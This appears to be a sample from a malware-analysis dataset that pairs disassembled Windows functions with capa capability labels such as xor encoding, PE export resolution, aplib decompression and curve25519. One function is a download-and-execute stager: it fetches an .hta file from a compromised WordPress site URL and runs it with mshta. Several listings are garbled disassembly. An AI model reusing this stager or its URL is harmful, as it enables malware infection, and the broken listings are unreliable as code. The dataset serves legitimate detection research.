joyce8/EMBER2024-capa huggingface dataset:
Function at 0x140078d20
Capabilities:
Authenticate hmac
Encode data using xor

Disassembly:
mov qword [rsp + 0x18], rbx
push rbp
push rdi
push r14
sub rsp, 0x20
mov eax, dword [rcx + 0x18]
mov rbx, rcx
mov ebp, r8d
mov r14, rdx
lea ecx, [rax + rax]
mov eax, dword [rbx + 0x20]
add rax, 0x18
add rcx, rax
call qword [sub.api_ms_win_crt_heap_l1_1_0.dll_malloc]
mov rdi, rax
test rax, rax
jne 0x140078d62
mov rbx, qword [rsp + 0x50]
add rsp, 0x20
pop r14
pop rdi
pop rbp
ret
lea rcx, [rax + 0x18]
mov qword [rax], rbx
mov qword [rax + 8], rcx
mov eax, dword [rbx + 0x18]
add rax, rcx
mov qword [rsp + 0x48], rsi
mov qword [rdi + 0x10], rax
cmp ebp, dword [rbx + 0x1c]
jbe 0x140078da9
call qword [rbx]
mov rcx, qword [rdi + 8]
mov r8d, ebp
mov rdx, r14
call qword [rbx + reloc.WS2_32.dll_htonl]
mov r14d, dword [rbx + 0x18]
add r14, qword [rdi + 0x10]
mov rdx, qword [rdi + 8]
mov rcx, r14
call qword [rbx + reloc.WS2_32.dll_recv]
mov rcx, qword [rdi + 8]
mov ebp, dword [rbx + 0x20]
call qword [rbx]
mov rcx, qword [rdi + 0x10]
call qword [rbx]
xor esi, esi
test rbp, rbp
je 0x140078e02
mov rsi, rbp
nop dword [rax + rax]
movzx eax, byte [r14]
lea rdx, [rsp + 0x40]
xor al, 0x36
mov r8d, 1
mov byte [rsp + 0x40], al
mov rcx, qword [rdi + 8]
call qword [rbx + reloc.WS2_32.dll_htonl]
movzx eax, byte [r14]
lea rdx, [rsp + 0x40]
xor al, 0x5c
lea r14, [r14 + 1]
mov byte [rsp + 0x40], al
mov r8d, 1
mov rcx, qword [rdi + 0x10]
call qword [rbx + reloc.WS2_32.dll_htonl]
sub rbp, 1
jne 0x140078dc0
mov eax, dword [rbx + 0x1c]
cmp rsi, rax
jae 0x140078e43
nop word [rax + rax]
mov rcx, qword [rdi + 8]
lea rdx, [0x14008e71a]
mov r8d, 1
call qword [rbx + reloc.WS2_32.dll_htonl]
mov rcx, qword [rdi + 0x10]
lea rdx, [0x14008e71b]
mov r8d, 1
call qword [rbx + reloc.WS2_32.dll_htonl]
mov eax, dword [rbx + 0x1c]
inc rsi
cmp rsi, rax
jb 0x140078e10
mov rsi, qword [rsp + 0x48]
mov rax, rdi
mov rbx, qword [rsp + 0x50]
add rsp, 0x20
pop r14
pop rdi
pop rbp
ret

Function at 0x140078f1c
Capabilities:
Get geographical location

Disassembly:
mov qword [rsp + 8], rbx
push rdi
sub rsp, 0x40
mov rbx, rdx
lea r8, [rsp + 0x60]
mov edi, ecx
mov edx, 0x20000001
lea rcx, str._x_sys_default_locale
mov r9d, 2
call qword [sym.imp.KERNEL32.dll_GetLocaleInfoEx]
test eax, eax
jne 0x140078f56
xor r9d, r9d
mov dword [rsp + 0x60], r9d
jmp 0x140078f5b
mov r9d, dword [rsp + 0x60]
and qword [rsp + 0x30], 0
mov r8d, edi
and dword [rsp + 0x28], 0
xor edx, edx
mov ecx, 0x1300
mov qword [rsp + 0x20], rbx
call qword [sym.imp.KERNEL32.dll_FormatMessageA]
mov edx, eax
test eax, eax
je 0x140078fa4
mov r8, qword [rbx]
dec r8
add r8, rdx
movzx ecx, byte [r8]
lea rax, reloc.WS2_32.dll_accept
cmp byte [rcx + rax], 0
je 0x140078fa4
dec r8
sub rdx, 1
jne 0x140078f8a
mov rbx, qword [rsp + 0x50]
mov rax, rdx
add rsp, 0x40
pop rdi
ret
Function at 0x14007a590
Capabilities:
Parse pe header

Disassembly:
sub rsp, 0x28
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test rax, rax
je 0x14007a5da
mov ecx, 0x5a4d
cmp word [rax], cx
jne 0x14007a5da
movsxd rcx, dword [rax + 0x3c]
add rcx, rax
cmp dword [rcx], 0x4550
jne 0x14007a5da
mov eax, 0x20b
cmp word [rcx + 0x18], ax
jne 0x14007a5da
cmp dword [rcx + 0x84], 0xe
jbe 0x14007a5da
cmp dword [rcx + 0xf8], 0
setne al
jmp 0x14007a5dc
xor al, al
add rsp, 0x28
ret
Function at 0x18004b500
Capabilities:
Encode data using xor

Disassembly:
sbb eax, 0xd92ac18d
dec ecx
add dword [rdi - 0x4f], esi
sahf
wait
sub edi, dword [rdi]
lahf
jg 0x18004b536
cmp eax, 0xe117f1de
or dl, 0x4e
invalid
sub eax, 0xaa56cadd
jne 0x18004b57b
xchg edi, eax
cmp ebp, ecx
invalid
popfq
pop rbp
mov edx, 0xca2648e2
xchg esp, eax
movabs al, byte [0x4a38672568a7d002]
jo 0x18004b520
sbb dh, byte [rcx + rbx*8 - 0x7d3cf2e0]
sub eax, 0x326cad3d
add eax, 0x29f16990
invalid
call 0x1bc23310a
jp 0x18004b5ae
invalid
invalid

Function at 0x18076f058
Capabilities:
Decompress data using aplib

Disassembly:
call 0x18076f1df
push r10
mov r10, rsp
push r10
mov rsi, qword [r10 + 0x10]
mov rdi, qword [r10 + 0x20]
cld
mov dl, 0x80
mov al, byte [rsi]
inc rsi
mov byte [rdi], al
inc rdi
mov ebx, 2
add dl, dl
jne 0x18076f089
mov dl, byte [rsi]
inc rsi
adc dl, dl
jae 0x18076f06f
add dl, dl
jne 0x18076f096
mov dl, byte [rsi]
inc rsi
adc dl, dl
jae 0x18076f0f6
xor eax, eax
add dl, dl
jne 0x18076f0a5
mov dl, byte [rsi]
inc rsi
adc dl, dl
jae 0x18076f1ad
add dl, dl
jne 0x18076f0b6
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x18076f0c3
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x18076f0d0
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x18076f0dd
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc eax, eax
je 0x18076f0ea
push rdi
mov eax, eax
sub rdi, rax
mov al, byte [rdi]
pop rdi
mov byte [rdi], al
inc rdi
mov ebx, 2
jmp 0x18076f07e
mov eax, 1
add dl, dl
jne 0x18076f106
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x18076f113
mov dl, byte [rsi]
inc rsi
adc dl, dl
jb 0x18076f0fb
sub eax, ebx
mov ebx, 1
jne 0x18076f14c
mov ecx, 1
add dl, dl
jne 0x18076f12e
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc ecx, ecx
add dl, dl
jne 0x18076f13b
mov dl, byte [rsi]
inc rsi
adc dl, dl
jb 0x18076f123
push rsi
mov rsi, rdi
sub rsi, rbp
rep movsb byte [rdi], byte [rsi]
pop rsi
jmp 0x18076f07e
dec eax
shl eax, 8
mov al, byte [rsi]
inc rsi
mov ebp, eax
mov ecx, 1
add dl, dl
jne 0x18076f168
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc ecx, ecx
add dl, dl
jne 0x18076f175
mov dl, byte [rsi]
inc rsi
adc dl, dl
jb 0x18076f15d
cmp eax, 0x7d00
jae 0x18076f19b
cmp eax, 0x500
jb 0x18076f196
inc ecx
push rsi
mov rsi, rdi
sub rsi, rax
rep movsb byte [rdi], byte [rsi]
pop rsi
jmp 0x18076f07e
cmp eax, 0x7f
ja 0x18076f19e
add ecx, 2
push rsi
mov rsi, rdi
sub rsi, rax
rep movsb byte [rdi], byte [rsi]
pop rsi
jmp 0x18076f07e
mov al, byte [rsi]
inc rsi
xor ecx, ecx
shr al, 1
je 0x18076f1d2
adc ecx, 2
mov ebp, eax
push rsi
mov rsi, rdi
sub rsi, rax
rep movsb byte [rdi], byte [rsi]
pop rsi
mov ebx, 1
jmp 0x18076f07e
pop r10
sub rdi, qword [r10 + 0x20]
mov eax, edi
pop r10
ret 0x20
Function at 0x167c00
Capabilities:
Encode data using xor

Disassembly:
push r14
push rsi
push rdi
push rbx
mov eax, 0x14a8
call fcn.00197180
sub rsp, rax
movaps xmmword [rsp + 0x1490], xmm15
movaps xmmword [rsp + 0x1480], xmm14
movaps xmmword [rsp + 0x1470], xmm13
movaps xmmword [rsp + 0x1460], xmm12
movaps xmmword [rsp + 0x1450], xmm11
movaps xmmword [rsp + 0x1440], xmm10
movaps xmmword [rsp + 0x1430], xmm9
movdqa xmmword [rsp + 0x1420], xmm8
movaps xmmword [rsp + 0x1410], xmm7
movaps xmmword [rsp + 0x1400], xmm6
movdqa xmm9, xmmword [0x0019f5e0]
xor eax, eax
movdqa xmm12, xmmword [0x0019f5f0]
pxor xmm2, xmm2
movdqa xmm4, xmmword [0x0019f610]
movdqa xmm6, xmmword [0x0019f630]
movdqa xmm13, xmmword [0x0019f670]
movdqa xmm14, xmmword [0x0019f680]
movdqa xmm15, xmmword [0x0019f690]
movdqa xmm7, xmmword [0x0019f6a0]
movdqa xmm10, xmmword [0x0019f6b0]
movdqa xmm11, xmmword [0x0019f6c0]
nop dword [rax + rax]
Function at 0x170140
Capabilities:
Resolve function by parsing pe exports

Disassembly:
sub cl, byte [rdi]
test byte [rsi + rcx*2 + 0x75], dh
jmp 0xf7985c
test byte [rsi + 0xf000002], dh
test dword [rax + 2], esi
add byte [rax], al
add byte [rax - 0x3f7bc3fc], cl
mov rax, qword [rcx + 0x10]
mov edx, dword [rcx + 0x3c]
jmp 0x17020a
mov rdx, qword [rcx + 8]
mov word [r9 + rdx + 8], 0x5b41
mov rdx, qword [rcx + 8]
mov word [r9 + rdx + 0xa], 0x5a41
mov rdx, qword [rcx + 8]
mov word [r9 + rdx + 0xc], 0x5941
mov rdx, qword [rcx + 8]
mov word [r9 + rdx + 0xe], 0x5841
je 0x1702b4
jne 0x1702b4
jmp 0x185eb52
ret
mov qword [rcx + 0x10], rdx
jmp 0x170385
mov rdx, qword [rcx + 8]
mov word [r9 + rdx + 6], 0x5c41
jmp 0x17014e
cmp edx, 0x8664
je 0x1702d1
cmp edx, 0x14c
jne 0x17018b
je 0x17026b
jne 0x17026b
jmp 0x178bbe
jne 0x1702c6
add byte [rax], al
add byte [rax], al
jmp 0x170193
jne 0x170342
je 0x10608d3d
mov r9, qword [rcx + 0x10]
lea rdx, [r9 + 1]
mov qword [rcx + 0x10], rdx
je 0x170303
jne 0x170303
jmp 0x1702f4
je 0x170285
jne 0x170285
add byte [rax], al
add byte [rax], al
mov rdx, qword [rcx + 8]
mov byte [rdx + r8], 0x58
mov qword [rcx + 0x10], r9
jmp 0x17018b
mov rdx, qword [rcx + 8]
mov byte [r9 + rdx + 0x11], 0x5e
mov rdx, qword [rcx + 8]
je 0x17028c
jne 0x17028c
je 0x2274706
mov byte [rax + rdx + 2], 0x5d
pop rbp
je 0x170342
jmp 0x1701e5
mov byte [rax + rdx + 4], 0x5a
mov rdx, qword [rcx + 8]
lea r8, [rax + 6]
je 0x1702c6
jmp 0x1701d7
mov byte [rax + rdx + 3], 0x5b
mov rdx, qword [rcx + 8]
jmp 0x17024b
mov rdx, qword [rcx + 8]
mov byte [rdx + rax], 0x5f
mov rdx, qword [rcx + 8]
mov byte [rax + rdx + 1], 0x5e
mov rdx, qword [rcx + 8]
je 0x17023c
jne 0x17023c
jmp 0x162972
jmp 0x1701b0
jne 0x1702f4
mov byte [r9 + rdx + 0x12], 0x5d
mov rdx, qword [rcx + 8]
mov byte [r9 + rdx + 0x13], 0x5b
mov rdx, qword [rcx + 8]
mov byte [r9 + rdx + 0x14], 0x5a
mov rdx, qword [rcx + 8]
mov byte [r9 + rdx + 0x15], 0x59
jmp 0x1702dd
je 0x8688e00
mov rdx, qword [rcx + 8]
mov byte [r9 + rdx + 0x10], 0x5f
jmp 0x170228
jne 0x170317
jmp 0x5274790
mov byte [rax + rdx + 5], 0x59
lea r9, [rax + 7]
jmp 0x1702e5
mov r8, qword [rcx + 8]
lea rdx, [rax + 1]
jmp 0x170339
lea r8, [r9 + 0x16]
add r9, 0x17
je 0x170212
jne 0x170212
jmp 0x1702b2
jmp 0x1701a0
je 0x170317
jmp 0x1702c3
mov byte [r8 + r9], 0x8b
mov r8, qword [rcx + 8]
mov r9, qword [rcx + 0x10]
je 0x170383
jne 0x170383
jmp 0x170317
mov qword [rcx + 0x10], rdx
mov byte [r8 + r9], 0xe5
mov r8, qword [rcx + 8]
mov r9, qword [rcx + 0x10]
lea rdx, [r9 + 1]
jmp 0x17035d
lea rdx, [r9 + 1]
jmp 0x1702f9
mov qword [rcx + 0x10], rdx
je 0x17036d
jne 0x17036d
jmp 0x8688e8e
mov rdx, qword [rcx + 8]
je 0x17025f
jne 0x17025f
je 0x161641
inc dword [rax]
add byte [rax], al
add byte [rdi], cl
test byte [rsi - 2], bh
invalid
je 0x1701e1
jne 0x1701e1
add byte [rax], al
add byte [rax], al
mov byte [r8 + rax], 0x48
mov r8, qword [rcx + 8]
je 0x1701ed
jne 0x1701ed
jmp 0xffffffffc65aae72
jmp 0x17032f
mov byte [r8 + r9], 0x5d
mov r8, qword [rcx + 8]
mov r9, qword [rcx + 0x10]
mov word [r8 + r9], 0x5f41
mov rdx, qword [rcx + 8]
mov word [r9 + rdx + 2], 0x5e41
mov rdx, qword [rcx + 8]
mov word [r9 + rdx + 4], 0x5d41
je 0x1702f4
jmp 0x17028a
invalid
Function at 0x17a860
Capabilities:
Encrypt data using speck
Resolve function by parsing pe exports

Disassembly:
push r15
push r14
push r13
push r12
jmp 0x17aab8
mov edi, edx
jmp 0x17ab91
je 0x17aabe
jne 0x17aabe
je 0x536d0218
push rsi
push rdi
push rbp
push rbx
jmp 0x17abba
sub rsp, 0xa8
jmp 0x17a9b8

Function at 0x188c50
Capabilities:
Encrypt data using salsa20 or chacha

Disassembly:
mov eax, dword [rdx]
mov dword [rcx + 0x10], eax
mov eax, dword [rdx + 4]
mov dword [rcx + 0x14], eax
mov eax, dword [rdx + 8]
mov dword [rcx + 0x18], eax
mov eax, dword [rdx + 0xc]
mov dword [rcx + 0x1c], eax
lea rax, [rdx + 0x10]
cmp r8d, 0x100
cmovne rax, rdx
lea r8, str.expand_32_byte_kexpand_16_byte_k
lea r9, [0x0019fbe0]
cmove r9, r8
mov edx, dword [rax]
mov dword [rcx + 0x20], edx
mov edx, dword [rax + 4]
mov dword [rcx + 0x24], edx
mov edx, dword [rax + 8]
mov dword [rcx + 0x28], edx
mov eax, dword [rax + 0xc]
mov dword [rcx + 0x2c], eax
mov dword [rcx], 0x61707865
mov rax, qword [r9 + 4]
mov qword [rcx + 4], rax
mov eax, dword [r9 + 0xc]
mov dword [rcx + 0xc], eax
ret

Function at 0x188d90
Capabilities:
Encode data using xor

Disassembly:
push r15
push r14
push r13
push r12
push rsi
push rdi
push rbp
push rbx
sub rsp, 0x58
mov qword [rsp + 0x50], rcx
mov eax, dword [rdx]
mov dword [rsp + 0xc], eax
mov eax, dword [rdx + 4]
mov dword [rsp + 0x10], eax
mov eax, dword [rdx + 8]
mov dword [rsp + 0x14], eax
mov r12d, dword [rdx + 0xc]
mov r13d, dword [rdx + 0x10]
mov r14d, dword [rdx + 0x14]
mov r15d, dword [rdx + 0x18]
mov r10d, dword [rdx + 0x1c]
mov edi, dword [rdx + 0x20]
mov r11d, dword [rdx + 0x24]
mov ebx, dword [rdx + 0x28]
mov ebp, dword [rdx + 0x2c]
mov ecx, dword [rdx + 0x30]
mov eax, dword [rdx + 0x34]
mov r9d, dword [rdx + 0x38]
mov r8d, dword [rdx + 0x3c]
mov dword [rsp + 0x4c], 0xfffffff8
mov dword [rsp + 0x48], r8d
mov dword [rsp + 0x44], r9d
mov dword [rsp + 0x40], eax
mov dword [rsp + 0x3c], ecx
mov edx, ecx
mov dword [rsp + 0x38], ebp
mov dword [rsp + 8], ebp
mov dword [rsp + 0x34], ebx
mov dword [rsp], ebx
mov dword [rsp + 0x30], r11d
mov dword [rsp + 0x2c], edi
mov ebp, edi
mov dword [rsp + 0x28], r10d
mov edi, r10d
mov dword [rsp + 0x24], r15d
mov dword [rsp + 0x20], r14d
mov ebx, r14d
mov dword [rsp + 0x1c], r13d
mov dword [rsp + 0x18], r12d
mov r14d, r12d
mov r12d, dword [rsp + 0x14]
mov r10d, dword [rsp + 0x10]
mov ecx, dword [rsp + 0xc]
nop

Function at 0x18ed00
Capabilities:
Hash data using sha512

Disassembly:
test rcx, rcx
je 0x18ed8b
mov qword [rcx + 0x48], 0
mov qword [rcx], 0
movabs rax, 0x6a09e667f3bcc908
mov qword [rcx + 8], rax
movabs rax, 0xbb67ae8584caa73b
mov qword [rcx + 0x10], rax
movabs rax, 0x3c6ef372fe94f82b
mov qword [rcx + 0x18], rax
movabs rax, 0xa54ff53a5f1d36f1
mov qword [rcx + 0x20], rax
movabs rax, 0x510e527fade682d1
mov qword [rcx + 0x28], rax
movabs rax, 0x9b05688c2b3e6c1f
mov qword [rcx + 0x30], rax
movabs rax, 0x1f83d9abfb41bd6b
mov qword [rcx + 0x38], rax
movabs rax, 0x5be0cd19137e2179
mov qword [rcx + 0x40], rax
xor eax, eax
ret
mov eax, 1
ret
Function at 0x18f7b0
Capabilities:
Encrypt data using curve25519

Disassembly:
push rsi
push rdi
push rbx
sub rsp, 0xc0
mov rsi, rdx
mov rdi, rcx
mov edx, 0x20
mov rcx, r8
mov r8, rsi
call fcn.0018f520
and byte [rsi], 0xf8
mov al, byte [rsi + 0x1f]
and al, 0x3f
or al, 0x40
mov byte [rsi + 0x1f], al
lea rbx, [rsp + 0x20]
mov rcx, rbx
mov rdx, rsi
call fcn.0018c170
mov rcx, rdi
mov rdx, rbx
call fcn.0018c0f0
add rsp, 0xc0
pop rbx
pop rdi
pop rsi
ret
Function at 0x18f810
Capabilities:
Encrypt data using curve25519

Disassembly:
push r15
push r14
push r13
push r12
push rsi
push rdi
push rbp
push rbx
sub rsp, 0x198
mov qword [rsp + 0x28], rcx
xor eax, eax
nop word [rax + rax]
movzx ecx, byte [r8 + rax]
mov byte [rsp + rax + 0x30], cl
add rax, 1
cmp rax, 0x20
jne 0x18f830
and byte [rsp + 0x30], 0xf8
mov al, byte [rsp + 0x4f]
and al, 0x3f
or al, 0x40
mov byte [rsp + 0x4f], al
lea rbp, [rsp + 0x140]
mov rcx, rbp
call fcn.00189570
lea rbx, [rsp + 0x170]
mov rcx, rbx
call fcn.00189200
lea rsi, [rsp + 0xb0]
mov rcx, rsi
mov rdx, rbp
mov r8, rbx
call fcn.00189220
mov rcx, rbx
mov rdx, rbx
mov r8, rbp
call fcn.0018b4a0
mov rcx, rbx
mov rdx, rbx
call fcn.00189800
mov rcx, rbp
mov rdx, rsi
mov r8, rbx
call fcn.00189fa0
lea rcx, [rsp + 0x80]
call fcn.00189200
lea rdi, [rsp + 0x110]
mov rcx, rdi
call fcn.001891e0
lea rcx, [rsp + 0x50]
mov rdx, rbp
call fcn.00189550
lea r14, [rsp + 0xe0]
mov rcx, r14
call fcn.00189200
mov r13d, 0xfe
xor r15d, r15d
nop word cs:[rax + rax]
nop
mov ebp, r15d
mov eax, r13d
shr rax, 3
movzx r15d, byte [rsp + rax + 0x30]
mov ecx, r13d
and cl, 7
shr r15d, cl
and r15d, 1
xor ebp, r15d
lea rsi, [rsp + 0x80]
mov rcx, rsi
lea r12, [rsp + 0x50]
mov rdx, r12
mov r8d, ebp
call fcn.001893b0
mov rcx, rdi
mov rdx, r14
mov r8d, ebp
call fcn.001893b0
lea rbp, [rsp + 0xb0]
mov rcx, rbp
mov rdx, r12
mov r8, r14
call fcn.0018b4a0
mov rcx, rbx
mov rdx, rsi
mov r8, rdi
call fcn.0018b4a0
mov rcx, rsi
mov rdx, rsi
mov r8, rdi
call fcn.00189220
mov rcx, rdi
mov rdx, r12
mov r8, r14
call fcn.00189220
mov rcx, r14
mov rdx, rbp
mov r8, rsi
call fcn.00189fa0
mov rcx, rdi
mov rdx, rdi
mov r8, rbx
call fcn.00189fa0
mov rcx, rbp
mov rdx, rbx
call fcn.00189a90
mov rcx, rbx
mov rdx, rsi
call fcn.00189a90
mov rcx, r12
mov rdx, r14
mov r8, rdi
call fcn.00189220
mov rcx, rdi
mov rdx, r14
mov r8, rdi
call fcn.0018b4a0
mov rcx, rsi
mov rdx, rbx
mov r8, rbp
call fcn.00189fa0
mov rcx, rbx
mov rdx, rbx
mov r8, rbp
call fcn.0018b4a0
mov rcx, rdi
mov rdx, rdi
call fcn.00189a90
mov rcx, r14
mov rdx, rbx
call fcn.0018aae0
mov rcx, r12
mov rdx, r12
call fcn.00189a90
mov rcx, rbp
mov rdx, rbp
mov r8, r14
call fcn.00189220
mov rcx, r14
lea rdx, [rsp + 0x140]
mov r8, rdi
call fcn.00189fa0
mov rcx, rdi
mov rdx, rbx
mov r8, rbp
call fcn.00189fa0
add r13d, 0xffffffff
cmp r13d, 0xffffffff
jne 0x18f900
lea rsi, [rsp + 0x80]
lea rdx, [rsp + 0x50]
mov rcx, rsi
mov r8d, r15d
call fcn.001893b0
lea rdi, [rsp + 0x110]
lea rdx, [rsp + 0xe0]
mov rcx, rdi
mov r8d, r15d
call fcn.001893b0
mov rcx, rdi
mov rdx, rdi
call fcn.00189800
mov rcx, rsi
mov rdx, rsi
mov r8, rdi
call fcn.00189fa0
mov rcx, qword [rsp + 0x28]
mov rdx, rsi
call fcn.0018a810
add rsp, 0x198
pop rbx
pop rbp
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
ret
Function at 0x1400045f0
Capabilities:
Extract resource via kernel32 functions

Disassembly:
mov qword [rsp + 8], rbx
push rbp
push rsi
push rdi
sub rsp, 0x190
mov rax, qword [0x140083080]
xor rax, rsp
mov qword [rsp + 0x180], rax
mov rbp, r9
mov esi, r8d
mov rbx, rdx
test rcx, rcx
je 0x14000475d
test rdx, rdx
je 0x14000475d
test r8d, r8d
je 0x14000475d
mov rcx, rdx
call qword [sym.imp.KERNEL32.dll_LockResource]
mov rdi, rax
test rax, rax
je 0x14000475d
xor edx, edx
mov r8d, 0x108
lea rcx, [rsp + 0x70]
call fcn.1400624b0
mov rdx, rbp
lea rcx, [rsp + 0x70]
call fcn.140005ce0
nop
cmp qword [rsp + 0xf8], 0
jne 0x140004679
xor bl, bl
jmp 0x1400046e2
mov r8, rsi
mov rdx, rdi
lea rcx, [rsp + 0x70]
call fcn.140006270
lea rcx, [rsp + 0x78]
call fcn.140006e60
test rax, rax
jne 0x1400046d7
mov rax, qword [rsp + 0x70]
movsxd rcx, dword [rax + 4]
mov eax, 6
mov edx, 2
cmp qword [rsp + rcx + 0xb8], 0
cmovne eax, edx
or eax, dword [rsp + rcx + 0x80]
and eax, 0x17
mov dword [rsp + rcx + 0x80], eax
mov edx, dword [rsp + rcx + 0x84]
and edx, eax
jne 0x140004782
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_FreeResource]
mov bl, 1
mov rax, qword [rsp + 0x70]
movsxd rcx, dword [rax + 4]
lea rax, vtable.std::basic_ofstream_char__struct_std::char_traits_char__.0
mov qword [rsp + rcx + 0x70], rax
mov rax, qword [rsp + 0x70]
movsxd rcx, dword [rax + 4]
lea edx, [rcx - 0xa8]
mov dword [rsp + rcx + 0x6c], edx
lea rcx, [rsp + 0x78]
call fcn.140005c30
mov rax, qword [rsp + 0x70]
movsxd rcx, dword [rax + 4]
lea rax, vtable.std::basic_ostream_char__struct_std::char_traits_char__.0
mov qword [rsp + rcx + 0x70], rax
mov rcx, qword [rsp + 0x70]
movsxd rdx, dword [rcx + 4]
lea r8d, [rdx - 0x10]
mov dword [rsp + rdx + 0x6c], r8d
lea rax, vtable.std::ios_base.0
mov qword [rsp + 0x118], rax
lea rcx, [rsp + 0x118]
call fcn.14000c000
nop
movzx eax, bl
jmp 0x14000475f
xor al, al
mov rcx, qword [rsp + 0x180]
xor rcx, rsp
call fcn.14000d300
mov rbx, qword [rsp + 0x1b0]
add rsp, 0x190
pop rdi
pop rsi
pop rbp
ret
test dl, 4
je 0x140004790
lea rbx, [0x14007c068]
jmp 0x1400047a5
test dl, 2
lea rbx, [0x14007c080]
lea rax, [0x14007c098]
cmove rbx, rax
mov edx, 1
lea rcx, [rsp + 0x30]
call fcn.140001a90
mov r8, rax
mov rdx, rbx
lea rcx, [rsp + 0x40]
call fcn.140002820
lea rdx, [0x1400815d8]
lea rcx, [rsp + 0x40]
call fcn.140010ae0
int3
Function at 0x29f4e13a0
Capabilities:
Create process on windows
Download url
Receive data

Disassembly:
sub rsp, 0x38
xor r9d, r9d
xor ecx, ecx
lea r8, str.c:userspublicexample.hta
lea rdx, str.https:__www.siguefutbol.com_wp_content_plugins_wp_automatic_d.txt
mov qword [rsp + 0x20], 0
call sub.urlmon.dll_URLDownloadToFileW
mov dword [rsp + 0x28], 0
xor ecx, ecx
lea r9, str.mshta
mov qword [rsp + 0x20], 0
lea r8, str.c:userspublicexample.hta
lea rdx, str.open
call qword [sym.imp.SHELL32.dll_ShellExecuteW]
xor eax, eax
add rsp, 0x38
ret

Function at 0x29f4e15b0
Capabilities:
Write file on windows

Disassembly:
push r12
push rbx
sub rsp, 0x38
mov r12, rcx
lea rax, [rsp + 0x58]
mov ecx, 2
mov qword [rsp + 0x58], rdx
mov qword [rsp + 0x60], r8
mov qword [rsp + 0x68], r9
mov qword [rsp + 0x28], rax
call fcn.29f4e22b0
mov r8d, 0x1b
mov edx, 1
lea rcx, str.Mingw_w64_runtime_failure:_n
mov r9, rax
call sub.msvcrt.dll_fwrite
mov rbx, qword [rsp + 0x28]
mov ecx, 2
call fcn.29f4e22b0
mov rdx, r12
mov rcx, rax
mov r8, rbx
call sub.msvcrt.dll_vfprintf
call sub.msvcrt.dll_abort
nop
nop word [rax + rax]

Function at 0x29f4e1620
Capabilities:
Allocate or change rwx memory

Disassembly:
push r12
push rsi
push rbx
sub rsp, 0x50
movsxd rbx, dword [0x29f4e7064]
mov r12, rcx
test ebx, ebx
jle 0x29f4e1750
mov rax, qword [0x29f4e7068]
xor ecx, ecx
add rax, 0x18
nop word [rax + rax]
mov rdx, qword [rax]
cmp rdx, r12
ja 0x29f4e166c
mov r8, qword [rax + 8]
mov r8d, dword [r8 + 8]
add rdx, r8
cmp r12, rdx
jb 0x29f4e16f3
add ecx, 1
add rax, 0x28
cmp ecx, ebx
jne 0x29f4e1650
mov rcx, r12
call fcn.29f4e1da0
mov rsi, rax
test rax, rax
je 0x29f4e1772
mov rax, qword [0x29f4e7068]
lea rbx, [rbx + rbx*4]
shl rbx, 3
add rax, rbx
mov qword [rax + 0x20], rsi
mov dword [rax], 0
call fcn.29f4e1ed0
mov ecx, dword [rsi + 0xc]
lea rdx, [rsp + 0x20]
mov r8d, 0x30
add rcx, rax
mov rax, qword [0x29f4e7068]
mov qword [rax + rbx + 0x18], rcx
call qword [sym.imp.KERNEL32.dll_VirtualQuery]
test rax, rax
je 0x29f4e1757
mov eax, dword [rsp + 0x44]
lea edx, [rax - 0x40]
and edx, 0xffffffbf
je 0x29f4e16ec
lea edx, [rax - 4]
and edx, 0xfffffffb
jne 0x29f4e1700
add dword [0x29f4e7064], 1
add rsp, 0x50
pop rbx
pop rsi
pop r12
ret
cmp eax, 2
mov rcx, qword [rsp + 0x20]
mov rdx, qword [rsp + 0x38]
mov r8d, 4
mov eax, 0x40
cmovne r8d, eax
add rbx, qword [0x29f4e7068]
mov qword [rbx + 8], rcx
mov r9, rbx
mov qword [rbx + 0x10], rdx
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
test eax, eax
jne 0x29f4e16ec
call qword [sym.imp.KERNEL32.dll_GetLastError]
lea rcx, str.__VirtualProtect_failed_with_code_0x_x
mov edx, eax
call fcn.29f4e15b0
nop dword [rax]
xor ebx, ebx
jmp 0x29f4e1677
mov rax, qword [0x29f4e7068]
mov edx, dword [rsi + 8]
lea rcx, str.__VirtualQuery_failed_for__d_bytes_at_address__p
mov r8, qword [rax + rbx + 0x18]
call fcn.29f4e15b0
mov rdx, r12
lea rcx, str.Address__p_has_no_image_section
call fcn.29f4e15b0
nop
nop word cs:[rax + rax]
nop dword [rax]
Function at 0x29f4e1a10
Capabilities:
Get thread local storage value

Disassembly:
push r12
push rdi
push rsi
push rbx
sub rsp, 0x28
lea rcx, [0x29f4e70a0]
call qword [sym.imp.KERNEL32.dll_EnterCriticalSection]
mov rbx, qword [0x29f4e7080]
test rbx, rbx
je 0x29f4e1a64
mov rdi, qword [sym.imp.KERNEL32.dll_TlsGetValue]
mov rsi, qword [sym.imp.KERNEL32.dll_GetLastError]
mov ecx, dword [rbx]
call rdi
mov r12, rax
call rsi
test eax, eax
jne 0x29f4e1a5b
test r12, r12
je 0x29f4e1a5b
mov rax, qword [rbx + 8]
mov rcx, r12
call rax
mov rbx, qword [rbx + 0x10]
test rbx, rbx
jne 0x29f4e1a40
lea rcx, [0x29f4e70a0]
add rsp, 0x28
pop rbx
pop rsi
pop rdi
pop r12
jmp qword [sym.imp.KERNEL32.dll_LeaveCriticalSection]

Function at 0x29f4e1da0
Capabilities:
Enumerate pe sections
Parse pe header

Disassembly:
mov rdx, qword [0x29f4e42c0]
xor eax, eax
cmp word [rdx], 0x5a4d
jne 0x29f4e1dc0
movsxd r8, dword [rdx + 0x3c]
add r8, rdx
cmp dword [r8], 0x4550
je 0x29f4e1dc8
ret
cmp word [r8 + 0x18], 0x20b
jne 0x29f4e1dc0
movzx eax, word [r8 + 0x14]
sub rcx, rdx
movzx edx, word [r8 + 6]
lea rax, [r8 + rax + 0x18]
test edx, edx
je 0x29f4e1e15
sub edx, 1
lea rdx, [rdx + rdx*4]
lea r9, [rax + rdx*8 + 0x28]
nop dword [rax + rax]
mov r8d, dword [rax + 0xc]
mov rdx, r8
cmp rcx, r8
jb 0x29f4e1e0c
